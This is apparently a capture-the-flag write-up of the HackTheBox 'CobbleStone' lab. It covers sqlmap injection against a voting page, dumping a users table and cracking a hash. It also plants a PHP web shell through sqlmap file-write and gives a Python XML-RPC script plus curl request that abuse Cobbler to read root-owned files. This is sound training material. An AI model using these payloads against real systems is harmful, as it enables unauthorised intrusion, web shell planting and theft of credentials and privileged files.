Post

HackTheBox CobbleStone

An insane-rated HTB Lab

HackTheBox CobbleStone

TL;DR

  • The web app had a SQL injection in the suggestion feature, exploitable with sqlmap.

  • Dumping the database revealed user credentials, including a hash.

  • Cracking the hash gave access to the foothold user shell.

  • On the system, the Cobbler service was running internally, which can be abused by manipulating system templates/profiles.

  • By exploiting Cobbler, it’s possible to execute commands as root.

  • To reach the Cobbler service, SSH port forwarding was required to expose the local/internal port for exploitation.

Enumeration

Nmap

The usual basic nmap scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nmap $target -sV -sC -vv -Pn -oN cobble-def

<REDACTED>

PORT   STATE SERVICE REASON         VERSION                                          
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)    
| ssh-hostkey:                                                                       
|   256 50:ef:5f:db:82:03:36:51:27:6c:6b:a6:fc:3f:5a:9f (ECDSA)                      
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBCfBUkQ4sz
y00s+EbTzIMq4Cv/mOkGWCD8xewIgvZ4zDI5pPhUaVYNsPaUmYzXgi0DzCy6s//8a1YFcyH398Nc=        
|   256 e2:1d:f3:e9:6a:ce:fb:e0:13:9b:07:91:28:38:ec:5d (ED25519)                    
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICuDtua7ciUfRA2uUH+ergsCOdq0Aaoakru1kQ9/OWPs   
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.62                              
| http-methods:                                                                      
|_  Supported Methods: GET HEAD POST OPTIONS                                         
|_http-server-header: Apache/2.4.62 (Debian)                                         
|_http-title: Cobblestone - Official Website
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

A UDP and full ports TCP scan showed some services running, but nothing useful now.

Subdomains

Upon visiting the website, we find three domains to visit:

1
echo 10.10.11.81 cobblestone.htb vote.cobblestone.htb deploy.cobblestone.htb

And we’re facing the following web app:

main

deploy

vote

Basic web recon

Here is what wappalyzer showed:

Wappalyzer

With whatweb:

1
2
3
4
$ whatweb cobblestone.htb                                            

ERROR Opening: https://cobblestone.htb - Connection refused - connect(2) for "10.10.11.81" port 443
http://cobblestone.htb [200 OK] Apache[2.4.62], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.62 (Debian)], IP[10.10.11.81], JQuery, Script[text/javascript], Title[Cobblestone - Official Website]

Fuzzing

I ran Ffuf for both vhosts and directories, nothing out of the usual or important. We move on to the website.

Poking Around the website

Main Domain

skins

Visiting the main domain cobblestone.htb, we find a portal to suggest a Minecraft skin to upload to the website. There are some default skins, I tried suggesting an already existing skin name, with an invalid IP, and it passed through saying that’ll be reviewed by the admin.

I even tried setting up a simple python3 HTTP server, to see if something gets requested, but it lead to nothing.

Voting subdomain

The databases for cobblestone.htb and vote.cobblestone.htb aren’t the same, logging in with the user already created at the main platform didn’t authenticate us through the vote.cobblestone.htb.

So after creating a new account we’re facing this:

votepage1 votepage2

And all the three already set suggested servers to vote for, aren’t approved yet. Furthermore, setting up a python server and suggesting it will be passed on, but not approved.

not approved

And the actual upvoting isn’t yet set up:

voting

Foothold

Now, testing for SQLi in the suggestion of the minecraft server proved fruitful.

1
sqlmap -r request.txt -p url --dbs --batch

sqlmap1

Note that request.txt is the request intercepted from burpsuite while voting for a website.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /suggest.php HTTP/1.1
Host: vote.cobblestone.htb
Content-Length: 23
Cache-Control: max-age=0
Origin: http://vote.cobblestone.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://vote.cobblestone.htb/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=2g3hf8jia64thhp0vnlgpahoi4
Connection: keep-alive

url=10.10.14.194%3A9443

So we’re into something. The field is indeed vulnerable. To test that even more:

1
sqlmap -r request.txt -p url -D vote --tables --batch

sqlmap2

User Flag

Poking around the databse, we can dump this:

sqlmap3

Note that evil@sal.htb was my account, so this databse is useless for now, it’s not of internal shit. We won’t attempt to crack the admin’s password, it may even be an account created by another player, not the actual DB admin.

This was my greatest mistake. What you’ve just read is me on my way to waste hours trying to get a reverse shell. Which was successful at the end, but literally useless because the objective was to crack the cobble user hash and SSH into it.

Using crackstation, few seconds and we got the user cobble and the user flag.

User Flag captured!

Pre-User Time-Wasting

These are some of what I did to gain a rev shell back to my machine. Switching the vpns, UDP to TCP…etc but banging my head against the wall aren’t included.

1
sqlmap -r request.txt -p url -D vote -T users --dump --batch --no-cast

Now we’ll go for testing an upload vulnerability. First with a dummy file:

1
echo test > /tmp/test.txt
1
sqlmap -r request.txt -p url --file-write=/tmp/test.txt --file-dest=/var/www/html/test.txt

sqlmapupload1

The upload is possible, so we try a simple PHP payload:

1
<?php system($_GET['cmd']); ?>
1
sqlmap -r request.txt -p url --file-write=shell.php --file-dest=/var/www/html/shell.php

Which is then confirmed:

1
2
curl "http://cobblestone.htb/shell.php?cmd=id" --output -
uid=33(www-data) gid=33(www-data) groups=33(www-data)

At this point, I tried a lot of PHP rev shell payloads, uploaded them and accessing them lead to no hitback on the listener. The only way it worked was to upload a bash reverse shell to the server, and then execute it, all through curl. And proved correct:

lekhraniya

Privilege Escalation

For privilege escalation, we have a very restricted shell, which was painfully reallistic. Until.

Running ss:

1
ss -tulnp

And we have a service at port TCP/25115. This was cobbler’s used port. Check out what is the Cobbler service.

Cobbler is a Linux provisioning and deployment server designed to simplify the setup of network-based installations. It allows administrators to automatically install operating systems, manage system profiles, and configure network boot environments (PXE) across many machines. Key features include:

  • OS provisioning: Automates the installation of Linux distributions on bare-metal or virtual machines.
  • Profile management: Defines templates for system configurations, including packages, scripts, and network settings.

  • PXE boot integration: Supports network booting for unattended installations.

  • Template and scripting support: Uses templates (Cheetah) for scripts and configuration files to customize installations.

  • Essentially, Cobbler streamlines large-scale deployments, making it easier to manage multiple systems consistently and automatically.

So to see what’s being hosted in that port, we port forward it using:

1
ssh -L 25115:localhost:25115 cobbler@cobblestone.htb

Reading what’s on this page, leads to the direct solution.

Here is what we’re going to do:

The privilege escalation relied on a critical vulnerability in Cobbler (≤ 3.2.1), which exposes an XML-RPC API for managing profiles, systems, and templates. The vulnerability arises because Cobbler’s generate_script method renders templates using Cheetah without proper input sanitization. This allows an attacker to perform a template injection, executing arbitrary Python code as the user running Cobbler (typically root). By crafting a malicious template and forcing Cobbler to render it—either through profile or system manipulation—the attacker could execute commands with root privileges, effectively taking full control of the system.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import xmlrpc.client
import traceback

COBBLER_URL = "http://127.0.0.1:25151/RPC2"
TARGET_FILE = "/root/root.txt"    # The file you want to read
DEST_FILE = "/leak"               # Template destination in Cobbler

def connect():
    try:
        return xmlrpc.client.ServerProxy(COBBLER_URL, allow_none=True)
    except:
        traceback.print_exc()
        return None

srv = connect()
tok = srv.login("", -1)

# 1. Create a distro
did = srv.new_distro(tok)
srv.modify_distro(did, "name", "pwn_distro", tok)
srv.modify_distro(did, "arch", "x86_64", tok)
srv.modify_distro(did, "breed", "redhat", tok)
srv.modify_distro(did, "kernel", "/boot/vmlinuz-6.1.0-37-amd64", tok)
srv.modify_distro(did, "initrd", "/boot/initrd.img-6.1.0-37-amd64", tok)
srv.save_distro(did, tok)

# 2. Create a profile
pid = srv.new_profile(tok)
srv.modify_profile(pid, "name", "pwn_profile", tok)
srv.modify_profile(pid, "distro", "pwn_distro", tok)
srv.save_profile(pid, tok)

# 3. Create a system pointing to the target file
sid = srv.new_system(tok)
srv.modify_system(sid, "name", "pwnsys", tok)
srv.modify_system(sid, "profile", "pwn_profile", tok)
srv.modify_system(sid, "template_files", {TARGET_FILE: DEST_FILE}, tok)
srv.save_system(sid, tok)

# 4. Sync changes
srv.sync(tok)

print("[+] Malicious system created.")
print("[+] You can now trigger it using curl to read the file.")

After running the previous python script, we can request the flag at /root/root.txt using:

1
2
3
4
5
6
7
8
9
10
curl -X POST http://127.0.0.1:25151 \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?>
<methodCall>
  <methodName>get_template_file_for_system</methodName>
  <params>
    <param><value><string>pwnsys</string></value></param>
    <param><value><string>/leak</string></value></param>
  </params>
</methodCall>'

Within the request sent back to us, we will have the flag as a response within the XML returned.

The Python script interacts with Cobbler’s XML-RPC API to exploit the template rendering vulnerability. It performs several actions to manipulate the system configuration and template files:

  • Login:
    Uses srv.login("", -1) to authenticate with the Cobbler server (empty credentials are accepted for unauthenticated access).

  • Create a new distribution:
    Calls srv.new_distro(tok) to create a custom distribution object, then sets fields such as:
    • name → “pwn_distro”
    • arch → “x86_64”
    • breed → “redhat”
    • kernel → path to the kernel (/boot/vmlinuz-6.1.0-37-amd64)
    • initrd → path to the initrd image (/boot/initrd.img-6.1.0-37-amd64)
    • Saves the distribution with srv.save_distro(did, tok)
  • Create a new profile:
    Calls srv.new_profile(tok) and assigns the distribution, naming the profile “pwn_profile,” then saves it.

  • Create a new system:
    Calls srv.new_system(tok) to register a system, sets:
    • name → “pwnsys”
    • profile → “pwn_profile”
    • template_files → a dictionary mapping the target file (/root/root.txt) to a location inside the template system (/leak)
    • Saves the system and calls srv.sync(tok) to apply changes.
  • Final curl command:
    Sends a POST request to Cobbler’s XML-RPC endpoint to call get_template_file_for_system with the system name and the template path (/leak), causing Cobbler to render the template and return the contents of the target file.

This combination allows reading arbitrary files or potentially executing code because Cobbler renders templates as root, exploiting the template injection vulnerability.

Rooted!

This post is licensed under CC BY 4.0 by the author.